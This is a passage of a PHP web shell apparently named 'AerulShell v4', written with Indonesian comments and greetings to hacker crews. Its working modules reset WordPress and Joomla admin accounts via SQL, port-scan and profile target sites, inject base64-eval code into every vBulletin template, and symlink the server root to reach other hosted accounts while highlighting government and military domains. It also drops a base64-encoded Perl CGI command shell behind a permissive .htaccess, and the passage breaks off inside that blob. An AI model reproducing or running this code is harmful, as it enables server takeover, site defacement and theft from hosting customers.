  2940. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
  2941. $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
  2942.  
  2943.  
  2944. if($a4s){
  2945. echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
  2946. }
  2947.  
  2948. }
  2949.  
  2950.  
  2951. echo "
  2952. </div>"; }
  2953.  
  2954. elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')) { echo "<center/><br/><b><font color=blue>+--==[ Joomla Mysql Admin Shell ]==--+</font></b><br><br>";
  2955. if(empty($_POST['pwd'])){
  2956. echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  2957. <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
  2958. <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
  2959. <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
  2960. <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
  2961. <tr><td>&nbsp;&nbsp;User baru</td><td>
  2962. <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
  2963. <tr><td>&nbsp;&nbsp;pass baru </td><td>aerulcyber =
  2964. <input style='width:130px;' class='inputz' name='pwd' value='c2b72f86b8ca51642c4a902887830d3e' />&nbsp;
  2965.  
  2966. <input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
  2967. </td></tr> </table><br><br><br><br>
  2968. ";
  2969. }else{
  2970. $localhost = $_POST['localhost'];
  2971. $database = $_POST['database'];
  2972. $username = $_POST['username'];
  2973. $password = $_POST['password'];
  2974. $pwd = $_POST['pwd'];
  2975. $admin = $_POST['admin'];
  2976. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2977. @mysql_select_db($database) or die(mysql_error());
  2978. $hash = crypt($pwd);
  2979. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
  2980. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
  2981. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
  2982. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
  2983. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
  2984. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
  2985. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
  2986. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
  2987. if($SQL){
  2988. echo "<b>Success : skarang password barunya >>> - (123456)";
  2989. }
  2990. }
  2991.  
  2992. echo "
  2993. </div>"; }
  2994.  
  2995. ////////////////////////////////////////////////////////////////////////
  2996.  
  2997.  
  2998. elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info'))
  2999. {
  3000. ?>
  3001. <form action="?y=<?php echo $pwd; ?>&amp;x=web-info" method="post">
  3002. <?php
  3003. @set_time_limit(0);
  3004. @error_reporting(0);
  3005. function sws_domain_info($site)
  3006. {
  3007. $getip = @file_get_contents("http://networktools.nl/whois/$site");
  3008. flush();
  3009. $ip = @findit($getip,'<pre>','</pre>');
  3010. return $ip;
  3011. flush();
  3012. }
  3013. function sws_net_info($site)
  3014. {
  3015. $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
  3016. $ip = @findit($getip,'<pre>','</pre>');
  3017. return $ip;
  3018. flush();
  3019. }
  3020. function sws_site_ser($site)
  3021. {
  3022. $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
  3023. $ip = @findit($getip,'<pre>','</pre>');
  3024. return $ip;
  3025. flush();
  3026. }
  3027. function sws_sup_dom($site)
  3028. {
  3029. $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
  3030. $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
  3031. return $ip;
  3032. flush();
  3033. }
  3034. function sws_port_scan($ip)
  3035. {
  3036. $list_post = array('80','21','22','2082','25','53','110','443','143');
  3037. foreach ($list_post as $o_port)
  3038. {
  3039. $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
  3040. if($connect)
  3041. {
  3042. echo " $ip : $o_port &nbsp;&nbsp;&nbsp; <u style=\"color: #009900\">Open</u> <br /><br />";
  3043. flush();
  3044. }
  3045. }
  3046. }
  3047. function findit($mytext,$starttag,$endtag) {
  3048. $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
  3049. $posRight = @stripos($mytext,$endtag,$posLeft+1);
  3050. return @substr($mytext,$posLeft,$posRight-$posLeft);
  3051. flush();
  3052. }
  3053. echo '<br><br><center>';
  3054. echo '
  3055. <br />
  3056. <div class="sc"><form method="post">
  3057. Site to scan : <input type="text" name="site" size="30" style="color:#00FF1E;background-color:#000000" value="site.com" /> &nbsp;&nbsp <input type="submit" style="color:#00FF1E;background-color:#000000" name="scan" value="Scan !" />
  3058. </form></div>';
  3059. if(isset($_POST['scan']))
  3060. {
  3061. $site = @htmlentities($_POST['site']);
  3062. if (empty($site)){die('<br /><br /> Not add IP .. !');}
  3063. $ip_port = @gethostbyname($site);
  3064. echo "
  3065. <br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
  3066. <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
  3067. <div class=\"ru\"> <br /><br /><pre>
  3068. ";
  3069. echo "".sws_port_scan($ip_port)." </pre></div> ";
  3070. flush();
  3071. echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
  3072. <div class=\"ru\">
  3073. <pre>".sws_domain_info($site)."</pre></div>";
  3074. flush();
  3075. echo "
  3076. <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
  3077. <div class=\"ru\">
  3078. <pre>".sws_net_info($site)."</pre> </div>";
  3079. flush();
  3080. echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
  3081. <div class=\"ru\">
  3082. <pre>".sws_sup_dom($site)."</pre> </div>";
  3083. flush();
  3084. echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
  3085. <div class=\"ru\">
  3086. <pre>".sws_site_ser($site)."</pre> </div>
  3087. <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
  3088. flush();
  3089. }
  3090. echo '</center>';
  3091. }
  3092. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
  3093. {
  3094. ?>
  3095. <form action="?y=<?php echo $pwd; ?>&amp;x=vb" method="post">
  3096. <br><br><br><div align="center">
  3097. <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
  3098. <font color="#00FF00">&nbsp;vB Index Changer</font><font color="#00FF1E">
  3099. <font face="Tahoma">! Change All Pages For Forum !&nbsp;
  3100. <br></font></div><br>
  3101. <?
  3102. if(empty($_POST['index'])){
  3103. echo "<center><FORM method=\"POST\">
  3104. host : <INPUT size=\"15\" value=\"localhost\" style='color:#00FF1E;background-color:#000000' name=\"localhost\" type=\"text\">
  3105. database : <INPUT size=\"15\" style='color:#00FF1E;background-color:#000000' value=\"forum_vb\" name=\"database\" type=\"text\"><br>
  3106. username : <INPUT size=\"15\" style='color:#00FF1E;background-color:#000000' value=\"forum_vb\" name=\"username\" type=\"text\">
  3107. password : <INPUT size=\"15\" style='color:#00FF1E;background-color:#000000' value=\"vb\" name=\"password\" type=\"text\"><br>
  3108. <br>
  3109. <textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
  3110. <INPUT value=\"Set\" style='color:#00FF1E;background-color:#000000' name=\"send\" type=\"submit\">
  3111. </FORM></center>";
  3112. }else{
  3113. $localhost = $_POST['localhost'];
  3114. $database = $_POST['database'];
  3115. $username = $_POST['username'];
  3116. $password = $_POST['password'];
  3117. $index = $_POST['index'];
  3118. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  3119. @mysql_select_db($database) or die(mysql_error());
  3120. $index=str_replace("\'","'",$index);
  3121. $set_index = "{\${eval(base64_decode(\'";
  3122. $set_index .= base64_encode("echo \"$index\";");
  3123. $set_index .= "\'))}}{\${exit()}}</textarea>";
  3124. echo("UPDATE template SET template ='".$set_index."' ") ;
  3125. $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
  3126. if($ok){
  3127. echo "!! update finish !!<br><br>";
  3128. }
  3129. }
  3130. # Footer
  3131. }
  3132. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
  3133. {
  3134. ?>
  3135. <form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">
  3136. <?php
  3137. @set_time_limit(0);
  3138. echo "<center>";
  3139. @mkdir('sym',0777);
  3140. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3141. $write =@fopen ('sym/.htaccess','w');
  3142. fwrite($write ,$htaccess);
  3143. @symlink('/','sym/root');
  3144. $filelocation = basename(__FILE__);
  3145. $read_named_conf = @file('/etc/named.conf');
  3146. if(!$read_named_conf)
  3147. {
  3148. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  3149. }
  3150. else
  3151. {
  3152. echo "<br><br><div class='tmp'><table border='1' bordercolor='#ff0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  3153. foreach($read_named_conf as $subject){
  3154. if(eregi('zone',$subject)){
  3155. preg_match_all('#zone "(.*)"#',$subject,$string);
  3156. flush();
  3157. if(strlen(trim($string[1][0])) >2){
  3158. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  3159. $name = $UID['name'] ;
  3160. @symlink('/','sym/root');
  3161. $name = $string[1][0];
  3162. $iran = '\.ir';
  3163. $israel = '\.il';
  3164. $indo = '\.id';
  3165. $sg12 = '\.sg';
  3166. $edu = '\.edu';
  3167. $gov = '\.gov';
  3168. $gose = '\.go';
  3169. $gober = '\.gob';
  3170. $mil1 = '\.mil';
  3171. $mil2 = '\.mi';
  3172. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  3173. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
  3174. {
  3175. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  3176. }
  3177. echo "
  3178. <tr>
  3179. <td>
  3180. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  3181. </td>
  3182. <td>
  3183. '.$UID['name']."
  3184. </td>
  3185. <td>
  3186. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  3187. </td>
  3188. </tr></div> ";
  3189. flush();
  3190. }
  3191. }
  3192. }
  3193. }
  3194. echo "</center></table>";
  3195. }
  3196. elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
  3197. {
  3198. ?>
  3199. <form action="?y=<?php echo $pwd; ?>&amp;x=About" method="post">
  3200. <center><br><br><font size=2> <img src="http://i24.photobucket.com/albums/c42/revoconsole/v4_zps788bcd2e.png" width="319" height="119" border="0"> <br> <br> Saya mengucapkan terima kasih banyak kepada teman-teman cyber seperjuangan atas kerjasama dan dukungannya selama ini <br> Karena tanpa teman teman saya bukanlah apa-apa dan bukanlah siapa-siapa... <br> Dan saya berharap dengan perilisan AerulShell v4 ini mendapatkan saran membangun demi penyempurnaan yang lebih baik kedepan<br>"KEEP CALM AND BE DANGEROUS"<br><br> Sedikit keterangan untuk yg belum tau <br> CGI-Shell Passwd : 123456 <br> CGI-Telnet 2012 Passwd : bandungkotasampah <br> CGI Litespeed Passwd : aerulcyber <br> Backdoor Scanner Passwd : aerulcyber <br> Dan seterusnya<br><br>Special Thanks To : <br>|Bagsfreakz| |Doza Cracker| |s4l1ty| |Rio Permana| |Angel Dot ID| |Derry| |G4L03_05| |S.A.Z BadboY| |Juna HKC| |Teguh HKC| |Miss QQ| |Bang Devilz| <br>|Meninbox| |Lindo Kng'Crew| |Uyap Castol| |X'Inject| |Unknown_R| |KraVcux PiRantes| |Ksatria Us| |Budz Story| |Dicky Cyber| |Billy Cyber| |Om Jin|
  3201. <br>|Hacker Kocan Community| |Aceh Cyber Team| |Surabaya Blackhat| |Indonesian Backtrack Team Reg Sumut| |Indonesian Fighter Cyber| |Blackshadow| |Indonesian Security Down| <br> |Borneo Attacker| |Biang Kerox Hacker Team|
  3202. |Team Danger Hackers| |Spider Defacer Team| |Zone-Injector| | |Devilz Code| |X Code| |All Indonesian Coder| |All Indonesian Hacker|
  3203. <?php
  3204. }
  3205. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgishell'))
  3206. {
  3207. ?>
  3208. <form action="?y=<?php echo $pwd; ?>&amp;x=cgishell" method="post">
  3209. <?php
  3210. echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
  3211. mkdir('cgitelnet1', 0755);
  3212. chdir('cgitelnet1');
  3213. $kokdosya = ".htaccess";
  3214. $dosya_adi = "$kokdosya";
  3215. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  3216. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  3217. AddType application/x-httpd-cgi .cin
  3218. AddHandler cgi-script .cin
  3219. AddHandler cgi-script .cin";
  3220. fwrite ( $dosya , $metin ) ;
  3221. fclose ($dosya);
  3222. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL